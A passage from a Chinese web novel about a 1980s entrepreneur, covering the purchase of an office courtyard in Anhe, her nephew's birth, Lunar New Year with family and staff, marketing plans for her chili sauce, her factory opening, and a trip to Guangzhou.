个小考验吧。这笔钱对普通老百姓来说可是个大数目，又牢牢躺在他账上，金钱面前，多多少少还是能检验出一部分人性的。 安排好工作上的事儿，交代好两位店长，又表扬了一下全体员工们之后，林珊跟沈丹和梁小慧吃了顿饭。 本来林珊是准备告诉她们自家包子铺有准备年货，到时候直接让人去搬就好了。结果知道林珊马上要回安河，她俩倒是先大包小包给她带过来了。 梁小慧：“这些是学军在川省的战友们寄来的，你拿回去尝尝鲜，能吃辣的一定爱这口。” 沈丹：“这是我妈寄来的年糕和炸熏鱼，鱼跟北方的做法不一样。” “谢谢姐姐们。”林珊笑着收了，正好想吃点儿不一样的年货。她把包子铺准备的东西一说，梁小慧立刻搂住她：“妹妹，你是我的救星。” 沈丹笑了，“也是我家琳琳的救星。”她女儿最爱吃招牌大肉包。 交换完年货，又给远在西北的姜春荣寄了一大箱好吃的之后，林珊就收拾收拾回安河了。 第128章 第128章 安河买院子 安河这边可不是一般得忙碌。 光厂子的招工和培训, 就用到公司一大部分人了，更别说还要维持平时的经营。再加上马上年底了，又要发福利, 就连赵桂花和李娜都每天忙得晕头转向。 林珊一回来就各种奔波，上午在公司忙, 下午在厂子忙，晚会上回去还得想产品做出来之后, 如何营销。 林红快生了，她抽空去王家看了她一眼, 那肚子大得简直吓人, 林珊真替姐姐捏把汗。 现在的医疗条件可不如后世，城里还稍微好一点儿, 农村里很多人根本连医院都不去, 直接找熟悉的产婆接生, 真出问题了才急匆匆去卫生所。 好在王军和王大娘一早就跟人民医院妇产科的人靠好了床位，只要林红一有动静, 他们立刻拉着人奔医院。王军这几天连单位的车都借回家了, 就怕突然半夜发动。 林珊担心, 赵桂花也担心，就林红自己不是很担心，她还在问林珊厂子下证的事儿。 《食品生产许可证》在林珊回来的第二天，就已经下来了，现在只需要把工人们培训好, 过完年就可以开业了。 其实这段时间, 底料加工车间就已经开始生产了。安河各大包子铺和加盟商的供货，都是在厂里制作完成的。效率自然不用说，就连品质也上升了一个台阶。大家对此都特别开心。 张学强开始负责加盟业务之后, 拼命得很，短短一个多月，他就谈成了两笔买卖，现在就带着加盟小分队在外地帮人家起店。 包子铺的加盟业务发展到88年 1月份，已经有十八家加盟店了。供货带来的收益远远超过加盟费用不说，还在87年12月底，正式超过了安河四家包子铺的营收。 这部分业务不但在朝着林珊构想的方向发展，而且远超她原本预期的速度。“林爱国大肉包”在汉北省攻城略地，已经到了不需要广告的地步。等到明年，加盟业务的重点就该是出省了。 业务多，收支多，账算起来就麻烦。林珊最近经常跟李娜、李春刚熬夜加班。年底要分红了，每个店每个部门都要算清楚。 之前林珊请郭有财帮她找的院子，这两天也给了信儿。房子不是别人的，正是郭有财自己一个表侄子的。 原来，他先前寻觅了一阵儿，发现那些院子不是地方太小，就是位置太偏，没一个行的。正准备跟林珊说的时候，他老伴儿提醒他自家表侄子有个院子。 郭有财一想还真是，不过那个院子旁边是公家单位，一直被他们用便宜价儿租着放各种物件儿来着。郭有财那表侄子年底要给工人们结算工资，手头本来就有点儿紧，一听有人想买，立刻表示：“行，只要钱合适，咱马上卖。” 反正那个院子破烂不堪的，又被公家单位占用着，钱给了等于没给，倒不如卖了省心。 林珊一听郭有财描述，马上就知道他说得是哪儿了，之前□□的时候林珊从那边路过，当时还以为是什么单位呢，没想到居然是他侄子的院子。真不愧是大地主家啊。 那院子地理位置非常硬核，挨着大路，地盘儿还大，而且最关键的是还在城西，离家也不远，林珊瞬间就心动了，当下就拉着郭有财去看院子。 院子坐北朝南，旁边是工商局，对面是街道办，再往东走几百米就是供销社，城西交通队也在这条路上。环境那是没的说，就是这院子有点驴粪蛋外皮儿光的意思。 外面看大门和院墙还行，走进去一瞧，竟然只有三间破屋。唯一的可取之处，就是地方大，宽敞。买了这院子，就等于要重新盖一个公司。这些费用都加进来可不少钱，所以砍价的时候，林珊就没顾及郭有财，直接报了低价。 双方你增我减，激战几个回合后，表侄子叔汗都下来了，满口：“不行不行不行，太低了，赔太多了！” 林珊知道根据安河现在的市价他并不赔，但想到以后能占用这么大的地皮，就退了一步，“那最多三万一，再多我就要吐血了。叔，咱都是自己人，我也跟您说个实话，公司账上现在是真没有多少余钱，都在厂子里投着呢，要不是现在办公的地方实在挤不下了，我是真不想花这个钱。又得推翻，又得重建的，这多一大笔啊。” 表侄子叔等着用钱，再加上他也知道自己这院子确实啥都没有，这么多年也没人上门说要买过，所以些微挣扎了一下之后，他就同意了。 签了合同、付了定金，表侄子叔又说：“珊丫头啊，这里头的东西你搬之前，切记要跟隔壁打声招呼啊，得罪人家就不好了。我就不跟着去了，你直接找他们蒋主任说事儿就行。” 林珊笑着说好，心里知道他是不想得罪工商局的人，所以让她自己去找人家。询问了一下跟隔壁的租约，才知道已经到期大半年了，对方到现在也没来补钱给表侄子叔。 郭有财在一旁听得摇头，对这表侄子是恨铁不成钢。 有些人只要你不让他占便宜就叫得罪，那这种人得罪就得罪了。 次日林珊备齐了钱，跟表侄子叔一块儿去区政府办理了过户。就这样花费三万一千元后之后，得到了一个比现公司大两倍多的院子。 赵桂花现在已经对她花钱这事儿没有异议了，不过看着这么大的院子，她还是担心：“这要是重新盖，得花多少钱啊。” “两万多吧。”林珊已经算过了，盖公司可比盖厂便宜多了，两万五足足有余。 施工队她还是想用盖厂子的施工队，那些人干活稳妥，又合作过，赵福跟他们也知根知底的。 林珊随后抽空跟赵福去找了一趟工头王来顺。王来顺正好还没接活儿，准备年后再找，一听林珊又送来了一个大活儿，高兴得非要留她在家里吃饭。 林珊跟王来顺谈了个大概的构思之后，对方报了价钱。林珊觉得可行，直接付定金签了合同，等开年她找人把图纸画好之后，他们好直接开工。 趁着这次给公司盖房，林珊准备改组一下公司构成。 现在虽然有“林爱国食品有限公司”和“红珊服装有限公司”两家公司，但在公司里的人，基本都是在忙食品方面的事儿。服装方面的业务，还没有发展到需要用办公室的地步，目前粤城那儿有阿英的小团队，京市有她，安河有杨艳。 但随着今年服装业务的迅猛发展，以后店肯定会越开越多，而且又都是直营店，必须培养一批专门干这个的人才，服装公司的组建可以说迫在眉睫。 所以这次盖办公地点之前，她还要再注册一个商贸公司，把食品公司和服装公司都归属到商贸公司旗下。那么这样一来，办公场地就要分 三个部分，商贸公司一部分，食品公司一部分，服装公司一部分。 商贸部分先占比小一点，食品和服装对半儿分地方。 财政部门、行政兼人力部门，都放在商贸那边。其余食品公司是食品公司的人员构成，服装公司是服装公司的人员构成，各自负责自己的部门，各公司有各公司要完成的业务指标。 另外传达室和安保也得建立起来，毕竟树大招风，吃过一次亏的事儿，绝对不能有第二次。安保就由李国超暂时负责帮忙组建。 虽然这些跟后世大公司的完整度没法儿比，但是目前这个阶段已经够用了，毕竟这个年代国家连各种公司和商业法，都还没有完善起来。以后再慢慢调整吧。 做完这些事儿，写完这么多公司章程之后，林珊趁空档，正准备带赵桂花去澡堂好好泡个澡，林红那边儿突然发动了。母女俩赶紧就往医院赶，两家人在产房外头焦急地等待了两个多小时后，婴儿终于呱呱落地。 护士抱着孩子出来报喜：“母子平安，7斤6两的胖小子。” 大家悬着的心终于落下，王大娘高兴地接过孩子，所有人都凑过来看这个红扑扑的小娃娃。 林红稍后被推了出来，她是自然分娩，除了看着有点儿累外，精神还是很不错的。王军快三十才当爹，一时没控制住情绪，没有避人就直接亲了林红额头一口，“辛苦了，媳妇儿！” 林红笑着嗔了他一眼。 回到病房后就是各种产后的事儿，林珊不懂这些，林红身边又有妈妈和婆婆在照顾，她怕自己碍事儿，就一直缩在角落里看小婴儿。 这个时期的孩子其实没什么可看的，还没长开，皱皱巴巴的，还一直睡。不过这是她小的外甥，是她来到这个世界后，第一个看着出生的孩子，感觉特别不一样。 林红笑道：“以前没看出来你这么喜欢孩子。” 林珊一脸温柔地伸出指关节，轻轻碰了碰小家伙的脸，生怕吵着他似的小声说：“别人的跟自己家的，那能一样嘛？” 屋里的人都笑了，隔壁床的产妇家属知道林珊一家，忍不住插话道：“这孩子一看就是有大福的，简直生在了福窝窝里哟。”吃喝不愁不说，还有那考上清大的文曲星当小姨，谁看了不羡慕啊。 王大娘和赵桂花客气了两句，她们不求孩子将来有多大能耐，只希望平安健康得长大就行。 第129章 第129章 过大年啦 林红在医院住了两天后, 就回家坐月子了。赵桂花要伺候她月子，林珊也经常往王家跑。 冬天坐月子比夏天好受一些，本来这时候的风俗就是让产妇要各种“捂”, 千万不能着凉，正好大冬天的, 人也更愿意捂着。 王军跟林红的屋子，结婚前又装修过一次, 卧室比较宽敞，一时多几个人也不至于挪不开脚。屋子里锅炉烧得也旺, 王军怕窗户缝儿漏风, 又从外头封了一层纸。 这小小的卧室别提多暖和了。味道倒也没有想象中的难闻，林珊一问才知道, 小家伙只要换过屎尿介子, 王大娘一定会掀开帘子, 让里间和外间换换气。 林红气色很好，虽然包着头不能洗澡, 但看得出来她心情很好, 喂孩子奶的时候, 一直带着浓浓的母性光辉。好像有这小家伙就完事足够了。 王军也整天笑得合不拢嘴，看着他们一家三口幸福的模样，林珊是打心底为他们高兴。 林红这边还没有出月子，农历新年就快来了。 林珊今年就没有再亲自参与分发，门店员工的年货和年终奖, 交给各个部门的负责人之后, 她自己只负责主管们的年终奖。今年公司的业绩同比去年增长11.2%，离不开每一位员工的辛勤付出，各个门店都收到了她写的表彰信, 激励大家再接再厉，再创高峰。 主管们拿着厚厚的年终奖，一个个都笑得无比畅快。累是累，但是每个人都干劲儿十足，郭学强更是直呼明年业绩要涨它个20%。 徐娟原本以为今年拿到年终奖，应该会没那么激动了，没想到她还是哭了。想起自己以前的苦日子，再看看现在，家里翻盖了新房子，孩子们有新衣服穿，家里有肉吃，电视机开年也能买了，整条胡同谁能有她家过得好？！ 跟着林珊干准没错！她一定好好干，争取将来开上小轿车！ 跟徐娟想买小轿车不同，薛凤琴算了算这两年挣的钱，已经够买个像样的房子了。如果一切顺利，明年开春她和闺女就能有属于她们自己的家了。父母哥嫂对她再好，也不能一直挤在娘家，近臭远香的道理她懂。 李娜再吃一次对发的年货，比年终奖更感兴趣，挑了个大苹果之后，就把钱和东西都交给李国超了，让她哥帮着拿回家给妈收着，她要出去学习骑三轮车，最近迷上这个了。 李国超喊了句让她别太晚回家后，无奈地笑了。傻妹子不在乎钱，他在乎啊，自己来了不到一年，居然也有奖金，还发了这么多年货！米面油都有，还有大苹果，真是比安河最挣钱的玻壳厂福利都好！ 赵福因为还在厂子忙，林珊给他和王芳的奖金就稍微晚了别人一天。因为他两口子之前要求三年后才要开始拿分成，所以今年就跟别人一样，只发年终奖和年货福利。 当晚赵福让人帮把这些东西拉回家，自己留下来跟林珊谈今天在厂子遇到的问题。 两人说了一大会儿正事儿，赵福才有些不是很好意思地开口道：“我想给大丫和二虎转到西街小学去，现在买的这房子离原来的学校有点儿远，我丈母娘一个人骑车接送，我有点儿不放心。” 林珊明白了，“行，年后我托人问问。家里一个老人带俩孩子行吗？要不要再找个人帮忙？” 赵福笑着说：“我妈那边儿有个亲戚婶子，干活挺利索的，想过完年看看人怎么样。” “好。”林珊点点头，把给表侄子们换学校的事儿记下了。 城西高中的年级主任黄月萍，家里在教育界门儿比较硬，林珊准备年后去找找她。两人的师生情一直维系得特别好，请她帮忙说说情，自家再花点儿钱，问题应该不大。 给员工发完钱和福利，年底这一通忙碌算是暂告一个段落了。 各家各户都贴好了春联，街道挂着一排排小彩旗，路边的店铺都关门歇业了，耳边时不时传来急着过年的小孩儿放炮的声音。 林珊来到这个世界的第四个新年，即将到来。 下午公司关门前，她跟贺正岩通了个电话。 林珊知道他不想去亲爸和后妈那儿过年，但年夜饭和初一的拜大年还是要有的，不然外人只会说贺正岩不懂事。不过等姜春荣回京，明年他就有借口了。 “对了，阿姨确定什么时候回来了吗？” 贺正岩算了算，“得到四月份了。” 林珊记在了纸上，准备在那之前帮阿姨把住的地方先收拾好。 贺正岩却说：“她之前住单位分的房，这次回来应该会有新职位，还不知道要住哪儿，到时候再说吧。” 姜春荣早年就把祖上那些财产都捐给科学事业了，除了单位之前分的一个两室一厅，就剩下一套四合院了。四合院要不是祖宅的话，当年最缺经费的时候，她肯定也就给捐了。 上头把四合院还给姜家之后，就一直空着，从来没有修整过，这么多年早破烂不堪了，贺正岩准备开春之后找人收拾一下。 林珊听贺正岩说着这些，内心仿佛在滴血，真是暴殄天物啊，二环内的四合院，居然一直让它闲着自己衰老。虽然现在一套小四合院才五六十万，但日后那可是以亿为单位的啊。 突然觉得有些人啥也不干，纯躺着不动，将来身家就能好几亿。 唉，还是得祖上有本事啊。 林珊昨天发了一天的钱，本来觉得公司发展挺不错的，这会儿一跟贺正岩聊，发现自己还啥也不是嘛。 “羡慕你。”她小声说。 贺正岩笑了，记得她之前就说过他命好，忍不住说了句情话：“以后都是你的。” “哈哈。”林珊乐出了声，竟然有点儿喜欢这种情话。 跟贺正岩靠好初二安河见之后，两人结束了通话。 赵桂花早等得不耐烦了，她还得早点儿 回去准备年夜饭呢，这小妮子一直聊个没完。就算那头是未来女婿，那也不能一直说啊，打电话不要钱？ “好了好了，下不为例。”林珊笑着锁上公司大门，拉起桂花女士走了。 回到自家的小院儿，林珊跟大黄玩了一会儿就帮赵桂花做饭去了。反正就俩人，包点儿饺子，吃点儿铺子的熟肉和林珊从京市带回来的年货就行了。 饭桌上，赵桂花没像往年那样又哭又笑忆往昔，因为今年有电视了，看着春晚吃着好饭，逗得她一直嘎嘎乐。那些在林珊看来极其不好笑的相声，都能让她笑得肚子疼。等姚雪出来唱歌的时候，赵桂花更是激动得站起来了，一直跟闺女确认，“真的？真是咱家的衣服？！” “是的，是咱家的。”林珊没想到姚雪最终选了黄色的那套裙子。也是，白色的假山背景，绿色的假草地舞台，跟胡敏帮她选的那套重叠了，还是这套黄的更合适。 大厚垫肩在后世不太流行，不过八十年代末到九十年代中期，还是掀起过好大一阵旋风的。 林珊非常清楚这套黄色绸缎套裙，年后会引来多少女同胞争相购买同款。届时祖国的大地上，一定会出现很多类似的倩影。而她，已经准备好迎接这波风潮了。 林家的年夜饭自在开心，贺正岩那边就完全不同了。 以前饭桌上，除了贺振华之外，其他人都是表面合家欢，内心各有想法。今年那种微妙的平衡被打破了。可能是林珊上门吃饭的那件事，造成的后续影响太大，也可能是后来发生了什么贺正岩不知道的事儿，反正这顿饭，他倒成了最自在的那一个。 张秀英在强撑着面子，提醒大家吃好喝好。贺启明嫣儿了吧唧地夹着菜吃饭。 贺振华虽然已经跟张秀英说话了，但言语间也没了以前的随和，对贺启明的态度更是比以前要严格上好几倍。一顿饭基本都是在跟贺正岩聊工作，和对当前社会上一些现象的看法。 这顿年夜饭吃得不像家庭聚会，而像是领导开会。 贺正岩反而最喜欢这种，说正事儿总比一直抒发情感强。尤其是在知道继母和继弟对自己的真实心思后，他更是只想维持表面的礼数而已。 贺启明听着大哥跟父亲谈天论地，本来也想发表一下自己上了半年班的感想，结果被亲妈一个眼神给灭了。他不懂他妈到底想干什么，不是已经分手了？还要再怎么做？当一辈子的罪人？ 真是够了。 贺启明突然觉得在林兰这件事儿上，他妈比他爸更生气。 吃完了饭，贺正岩正要离开的时候，贺振华突然把他叫进了书房，然后有些欲言又止看着他。 “您有事儿？”贺正岩还没见过他爸这样。 贺振华点点头，带着些长辈似的别扭，低声问道：“你妈要回来了？” 贺正岩心下了然，“是，最晚四月底。” “调到哪儿了？” “我妈没提，我也没问。”贺正岩实话实说，姜春荣的工作性质特殊，从来都是他妈说什么，他回什么，不会主动瞎问不该问的。 贺振华心里有了点数，“那行，照顾好你妈。” “好。”贺正岩微微颔首。 回去的路上，也不知道为什么，他脑子里突然出现了小时候一家人坐在桌上吃饭的场景。画面有点儿模糊，但那种开心和快乐却非常清晰。 那时候爷爷奶奶爸爸妈妈，二叔二婶小姑，全部都在。 第130章 第130章 营销方案 大年初一, 林珊睡了个自然醒。 认识的人多，混得越好，需要拜年的人和来家里拜年的人, 就会增多。 一整天林家都忙忙碌碌的，你说两句吉祥话, 我说两句吉祥话，大家吃吃喝喝乐乐呵呵。 王家一到过年人也多, 林珊拜了年，看了她姐和小外甥之后, 就去郭有财家了。 郭家今年跟以往不同, 郭有财的三个儿子都带着家人回来过年了，一时间满屋子都是乌泱泱的人, 吓得林珊都不敢进去了。 江秀琴笑着把她拉进屋里, 郭有财一介绍, 林珊瞬间被郭家另外两个儿子给热情地围住了。 林珊对郭家这两位叔叔可是久仰大名，第一次见。 老大郭广昌, 虽然一直在港城混, 穿得反而不是最洋气的, 人看着特别朴实，要不是他媳妇儿和孩子们的装扮一瞧就是港城装扮，完全看不出他在那种地界混。 老二郭广盛在深城混，穿得却是港城最流行那种双排扣西装，带着个金丝边眼睛, 再配上锃亮的牛皮鞋, 瞧着不像大陆人，反而像港城来的大老板。他老婆孩子也各个都穿得很洋气。 这么一看，林珊最熟悉的郭广发, 至少在穿着方面介于两兄弟中间，既没有刻意低调，也没有故意高调。 林珊肤浅地从表面上，有了对郭家另外两兄弟的第一印象。接着，几人简单聊了一会儿，她又进一步验证了自己的看法。 今天人多，不太适合谈事儿，不过郭有财还是拉着林珊和三个儿子去另一个客厅简单说了些话。 关于林珊入股他们的事儿，雷生金那边已经同意了，不过具体的细节，还是希望林珊去一趟粤城，大家再商量一下比较好。 林珊算了下日期，开学前去一趟应该没问题。 既然同意入股，又要见面细谈，大概就是想跟她谈占比的问题了。这个关系到个人切身的利益分配，她准备做点儿准备。把自己能提供的资金，提供的策略，都好好算算评估一下。 不占人便宜的同时，也绝不吃亏。既然要一起合伙了，就不再只是单纯的情分了，所有的公事最好都算清。 大家定好了日期，郭有财又问她厂子什么时候开业。 林珊初步定在三月十号左右，不过具体哪天还要再找人算算日子。 郭有财点点头，真心竖起了大拇指。那厂子他已经去看过了，太像样了。盖得好不说，车间的那些操作也完全不输一些大厂子。这才短短几个月啊，她就硬生生建了个厂。这眼光，这胆识，这能力，还有什么可说的。 其实在郭有财对另外两个儿子，提出试着开干房地产的时候，他们心里是有很多疑惑的。 老大郭广昌虽然知道房地产，但更清楚那东西的难度。老二则是觉得自己就在深城，连他都没听说允许拍地的事儿，一个小丫头片子怎么知道的。 即使后来他托朋友打听了一下发现是真的，但心里也不想做，毕竟那是一摊子他们完全不懂的生意，到时候怎么着还不一定呢。一下就要投那么多钱，这要是赔了，辛辛苦苦这么多年打拼出来的家业，可就不剩什么了。 要不是后来大哥好好研究了一下港城的房地产，发现这里头潜力巨大，而且他老爹又说一不二，老三也特别想干，他是不会淌这种水的。 郭家两兄弟对林珊的事迹，早已经从父亲和老三那儿知道得一清二楚了。所以明明见了面觉得这就是个特别漂亮的小丫头，心里却不敢有半分怠慢。 尤其聊了一会儿下来，发现人家言谈举止确实不一般，高材生跟他们这些野路子出来的，还是不一样啊。 从郭家回去之后，林珊把房地产的事情跟赵桂花说了。 赵桂花不懂做生意，也不懂啥房地产，但是她闺女说能挣大钱，她就相信一定能挣大钱。而且还有郭有财和人家粤城那边的大老板一起干，那挣钱是绝对跑不了的。 不过比起钱，她 更激动地是，“那是不是咱以后就随便住了？哪儿都有房子啊？” 林珊笑着给她解释了一下房子的运作方式，有些老板确实会留好几套送人，不过多人合伙的公司，还是制度严一点儿比较好。不然大家都送，那还得了。等以后她成立了自己的房地产公司，就能做主送自家人了。 不过真到那个时候，大家可能也就不在意这一套房了。 初二本来是嫁出去的女儿，回门过年的日子，但因为林红还有三、四天才出月子，赵桂花也不同意她乱跑，所以就王军代来了。 贺正岩上午十一点钟的时候就过来了，车上都是他搜集的各个地方的年礼，搬东西搬得王军都有意见了，“小贺同志，下回少拿点儿吧，哥最近看孩子累得腰疼，再搬下去就负伤了。” 贺正岩笑了，接过他手里的箱子，五个摞在一起全搬进去了。 王军看着他的背影摇头：“没孩子的时候，我也是这么有劲儿的。” 贺正岩脚步一顿，听出他这是在显摆了，张嘴闭嘴都是孩子。 林珊跟赵桂花在厨房听得直乐，三十岁当爹的王军，真的是想嚷嚷得全世界都知道。 饭桌上大家说说笑笑，谈天说地。从育儿经验，到京市和粤城的不同，再到春晚节目，聊得那叫一个热闹。下午的时候，林珊终于有空带贺正岩到处逛逛了。 虽然安河根本没有什么可看的，但是自家的厂子建成之后他还没看过，她选的公司新址，他也还不知道。所以林珊一下午，都在让贺正岩看她打下的江山。 厂子跟贺正岩上次来的时候，完全大变样，里头规划得相当有水平，门口的那条路，她都让施工队重新多修了一大段。真真是造福村民了。 原先旁边慌着的地，看着像是又多了几个小作坊。路过的村民看见林珊，每个都主动笑着打招呼。贺正岩一问才知道，她工厂招的工人，优先选择大河村的村民，前提是要通过考试。 一个贫穷落后的村庄，明显因为这个食品厂的成立，正在起着很好的变化。这就是改革和发展的意义。 去看公司新址的路上，贺正岩忍不住对林珊夸了又夸。 林珊虽然也觉得自己建厂的事儿干得漂亮，但到底经不住他往上上太多的价值，“不赚钱我也开不下去的，算是双赢吧。” “嗯，双赢。”贺正岩喜欢这词儿。 等到了公司新址，林珊把自己公司调整结构的事儿说给他听了，另外跟郭家和雷家合伙做房地产的事情也提了一下。 贺正岩有点儿震惊，这发展速度也太快了，她既像个睿智的谋士，又像个勇猛的战士。 林珊笑了，“我既不是谋士也不是战士，我只想挣钱，想自己挣钱，也想带着大家挣钱。” 贺正岩把她搂进怀里，站在北风呼呼刮的院子里，亲了她额头一下，“你已经做得很好了。” 林珊往他坏了钻了钻，“我知道。” 这种自信和可爱，直接把贺正岩逗笑了。 当晚再次在林珊的房间睡了一晚后，贺正岩第二天就赶回京市了。大年初二晚上他就得回部队报道，继续春节前没有完成的训练计划。 改革的路上有不少拦路虎，无论那个行业都一样。他在部队每天要面对各种各样的刺儿头，基本还都是比他大的领导。 那能怎么办，你说你对，我说我对，只有实践才能检验出真理。 贺正岩走后，趁着还在年中没什么大事儿，林珊就开始策划辣椒酱上市之后的营销之路了。 这年头的画报广告都是非常猛的，各种最好吃，最大，全国最强，什么都夸张的词儿都能用。毕竟94年广告法才公布，之前谁管你这个。 林珊家的辣椒酱和肉酱，肯定要走广告轰炸的策略。91年电视上一个“南方黑芝麻糊”广告，成就了多大一个企业啊。 前几年沪市电视台的一个广告，也只需要五百多块就能上，更别提其他小地方了。这年头的电视频道非常具有有地域性的，安河就只能看到中央、汉北省和安河本地的电视台。其他一概看不见。 林珊就算要打广告，也只能集中在中央台和本地。她这次不打算采取地方包围中央，一点点进军的策略。而是打算制作出一款爆款广告，集中投放到中央台，全方位轰炸。 其他形式的平面广告，则只上全国性报纸。贵就贵，这钱必须花。不过在找关系和花钱此之前，她要先找公司做出一款广告来。 这年代全国连广告公司都没几家，零星的也主要集中在沪市和粤城。 林珊其实脑子里已经有一个简单的策划方案了，只需要对方尽可能地展现出来就行。所以她打算厂子开业之后，要立即出发去粤城。除了谈那些之前就定好的事儿外，最主要的是找广告公司，做广告。 林珊算了算时间，这一次去恐怕要待的时间就不是一两周了。学校那边的话，请个假应该问题不大。 营销是个大事儿，大到整体策略，小到具体的文案，要操心的地方实在太多。林珊利用过年这些天，在家里写写画画，念念叨叨，否定了一版又一版的方案，才定出了一个不算完善的营销计划。 她打算开工之后，再集思广益一下，看看大家有没有什么新的想法。 就这样过了一个非常充实的新年之后，“林爱国食品加工厂”也正式迎来了开业的日子。 第131章 第131章 食品厂开业 1988年3月13日, 宜开业。 上午十点钟，不仅林珊和公司的人早早就到场等候，乡政府和村政府的领导们, 也来到了现场共同庆祝食品厂开业。 厂里的员工自不必说，大家都穿着工服戴着卫生帽, 齐刷刷地站在一旁等着领导讲话。大河村的村民们则把路围得水泄不通，挤在一起看热闹。 现场锣鼓喧天, 鞭炮齐鸣，一时间竟比过年还热闹些。 村支书主持开业仪式, 感谢了国家, 感谢了领导，感谢了林珊, 也感谢了村民。林珊则站出来表示, 主要还是因为国家的政策好, 领导们指挥的好。 乡政府的领导最后说，大家都好, 当然最好的还是国家, 让我们团结一致, 为建设现代化贡献出自己的力量吧！ 工人们心潮澎湃，掌声震耳欲聋，恨不得现在就开干。突然从农民变成了工人，这是多么让人骄傲的事情啊！谁不好好干，就是在跟大河村作对！跟西郊乡作对！跟国家作对！ 仪式结束, 领导们参观了一圈后, 纷纷退场。管卫生的工人把摊子一收，地上的炮叶子一扫，“林爱国食品加工厂”正式投入运营。 林珊年前就跟食品公司的主管们, 把初期的生产计划制定好了。在产品还没有大规模开始营销之前，产量定的非常保守，只需要满足所有包子铺，不管是直营还是加盟店的陈设和销售就可以。 由于厂子配备了两辆货车，完全可以满足整个汉北省和京市的原料，以及辣椒酱的配送。 任何新产品上市，都会面临相对无人问津的时期。即使包子铺和熟肉铺每天生意都很好，猛得上来几罐大大小小的辣椒酱，还卖得这么贵，大多数老百姓都是会犹豫的。 毕竟这年头去粮店打大酱的话，几毛钱就一大瓶。虽然不是一个东西，但这一罐辣椒酱，大瓶的卖一块五，小瓶的卖九毛，肉酱的还要再贵上一毛。一般百姓还是不太舍得。 当然有那不差钱又爱尝鲜的，上来就各买了一瓶，林珊目前赚得就是他们的钱。等广告铺天盖地之后，赚的就是全国各地这一类人的钱。 目前市面上的辣椒酱比较少，面向全国的品牌更是没发现什么。安河当地酱菜厂出的辣椒酱，味道极其一般，咸味儿辣味儿都重，贵料又特别少。就这，一个小瓶的他们还要卖5毛。 林珊家的辣椒酱虽然贵点儿，但口味绝对是一等一的，而且净含 量也比对方多一些。辣椒酱属于贵，但又至于到死贵又不值得的范畴。只要亲自尝过，就没有不爱上的。 林珊送给邻居和朋友们的辣椒酱和香菇肉酱，都得到了非常好的反馈。尤其是郭有财，他嘴刁，尝到辣椒酱后一直赞不绝口，直接就要了两箱送人。 林珊本来预测了一个极其保守的首周销量，毕竟没有刻意宣传嘛。谁知才刚刚三天，京市那边，和汉州的两家加盟店就要求补货了。 果然同样价格的产品，放在工资高的地方，就是更容易卖出去。京市那边杜丽更是跟林珊商量着要大量上货，有很多顾客等排队排到的时候，酱已经卖完了，没尝到鲜，颇有点儿遗憾呢，一直让他们赶紧多进几瓶。 林珊把这些事情都交了赵福，他每天在厂里安排生产任务，各部门的主管们也都在全力配合着开干。 她自己跑了几趟工商局之后，成功注册了新公司“华耀商贸有限公司”，同时又完善了一下食品厂和服装公司需要的各种手续。 表侄子们上学的事儿，林珊也给办妥了，孩子目前已经顺利入学。 服装店本来节后应该迎来低潮期的，但是因为掌握了流行动态，提前做好了布局，所以不仅是京市，就连安河的服装店，争相购买姚雪同款的姑娘们都络绎不绝。 林珊其实不太明白，她们是从哪儿知道自家店铺有同款衣服的？毕竟这年头又没有网络，她也没有刻意宣传过。看来只要有心，不管衣服是不是正当季，不管藏得多深，都抵挡不住狂热的爱美人士啊。 新公司的图纸，林珊也找之前帮厂子画图纸的工程师设计了出来。结构是她想要的那种，预算也跟她之前算得没有多少出入。 王来顺带领的施工队，这两天已经开始干活了。至于隔壁单位堆放在厂子里的那些东西，林珊还没找上门，蒋主任就自己安排人挪走了。 林珊跟一直帮她办各种证件的黄丽娟打听了一下，一问才知道，原来蒋主任在省里有门儿，知道省里的大领导杨德成，也就是杨老太的儿子，曾经给安河打过电话，询问过林珊一家被劫道的事儿。 林珊立刻懂了，心想可能对方把自己当成什么背景深厚的人了。不过不管怎么样，东西挪走了就行。 手边的这些事情处理好后，也到了林珊跟郭有财靠好要去粤城的日子。 本来之前说过要带赵桂花去见见世面的，但这次实在是时间紧任务重。现在就已经三月二十号了，四月她还要赶回京市开始做债券生意，实在没时间带她去到处逛。 赵桂花自己倒是不在乎，她最近帮林红带孩子，又忙又开心的，叮嘱林珊跟李娜他们路上多注意安全。 林珊这次去粤城，带的还是李娜兄妹。不是对郭家人不信任，而是回程如果就她一个人的话，也是件有风险的事儿。 郭家老大老二过完年，就已经早早回去了。所以这次只有郭有财和郭广发一家，跟着林珊他们一块儿南下。 林珊原本还是计划住招待所的，结果雷阿英非要邀请他们住到她家里去，还说他爸说了，不把人请回来就罚她，还说他们雷家房间多，这样方便谈事，也不用跑来跑去的，节省时间。 林珊实在盛情难却，考虑过后决定叨扰几日。结果郭家不乐意了，一直说我家也有地方啊。林珊笑着说下次一定。 雷家的院子是一进又一进的那种，林珊被安排在了雷阿英的小院子，李娜跟她同屋，李国超住旁边的那间。院子中间有天井，种着颗小桃树，阿英说因为她喜欢吃桃，他爸就让人种了。小桃树下面还有一个小狗形状的石头雕像，阿英说是她养的狗，去世之后他爸怕她难过，就给做了个雕像作纪念。 林珊知道雷生金疼女儿，没想到会疼到这种地步。等被阿英拽着她参观她的房间时，林珊就更惊讶了。 公主床上是席梦思的床垫，还带着梦幻的粉纱床幔，窗口有个小沙发，书桌书架在一侧摆着，另外还有一台一看就是进口的缝纫机。缝纫机旁边的工作台上，都是一些布料和剪裁工具。 这是一个完全不符合时代的房间，有点儿像美帝同时期的家居装潢风格，到处都彰显着阿英的喜好，以及家人对她的爱。 “珊姐，我的房间漂亮吗？都是我从那些杂志上面看见的，像不像在美国？”阿英边问边把林珊拉到书桌面前，“你再看看这些书可不可以，都是我托人找的。” 林珊真心实意地赞美了一番她的房间，又翻看了一下那些设计书，“挺好的，先看这些就够了。主要还是要多做、多学、多长见识。” “是，你说的太对了。我现在再看我以前做的那些裙子，觉得真得好难看呀。”阿英开心地拉着林珊坐到她的小沙发上，说着自己这一段时间的感触。 别看她跟林珊合作没有多久，挣到的钱就已经让爸爸对她刮目相看，更别提她真的学到了很多东西。不管是为人处世，还是做服装这块儿，感觉每天都在拼命地吸收知识。 现在家里已经没人，再提让她回家干铺子的事情了，哥哥们还开玩笑地说再过一段时间，她赚的钱可能就超过他们了，到时候要靠她养活。 阿英特别开心，她还从来没有做过这么厉害的事。更加坚定了要好好学服装，让全国人民都穿上自家衣服的心。 林珊非常为她感到高兴，阿英这丫头确实比刚认识的时候成熟多了，而且确实很用功，也比她想象中能吃苦。 